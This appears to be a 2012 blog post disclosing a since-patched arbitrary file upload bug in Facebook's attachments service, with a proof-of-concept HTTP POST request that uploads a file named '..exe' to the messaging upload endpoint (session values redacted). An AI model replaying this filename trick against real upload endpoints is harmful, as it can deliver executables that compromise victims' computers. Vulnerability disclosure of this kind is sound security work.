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Thursday, 10 May 2012

Facebook Bug #3: Arbitrary File Upload Vulnerability Found in attachments.facebook.com

Posted on 21:22 by freda
Description
Sow Ching Shiong, an independent vulnerability researcher has discovered an Arbitrary File Upload vulnerability in attachments.facebook.com, which can be exploited by an attacker to compromise a victim's computer system.

Proof of concept
HTTP Request
===========
POST /ajax/messaging/upload.php HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7db2e171a0068
Accept-Encoding: gzip, deflate
Host: attachments.facebook.com
Content-Length: 194182
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: [information removed]

-----------------------------7db2e171a0068
Content-Disposition: form-data; name="post_form_id"

[information removed]
-----------------------------7db2e171a0068
Content-Disposition: form-data; name="fb_dtsg"

[information removed]
-----------------------------7db2e171a0068
Content-Disposition: form-data; name="id"

[information removed]
-----------------------------7db2e171a0068
Content-Disposition: form-data; name="attachment"; filename="..exe"
Content-Type: application/octet-stream


Conclusion
This vulnerability has been confirmed and patched by Facebook Security Team. I would like to thank them for their quick response to my report.

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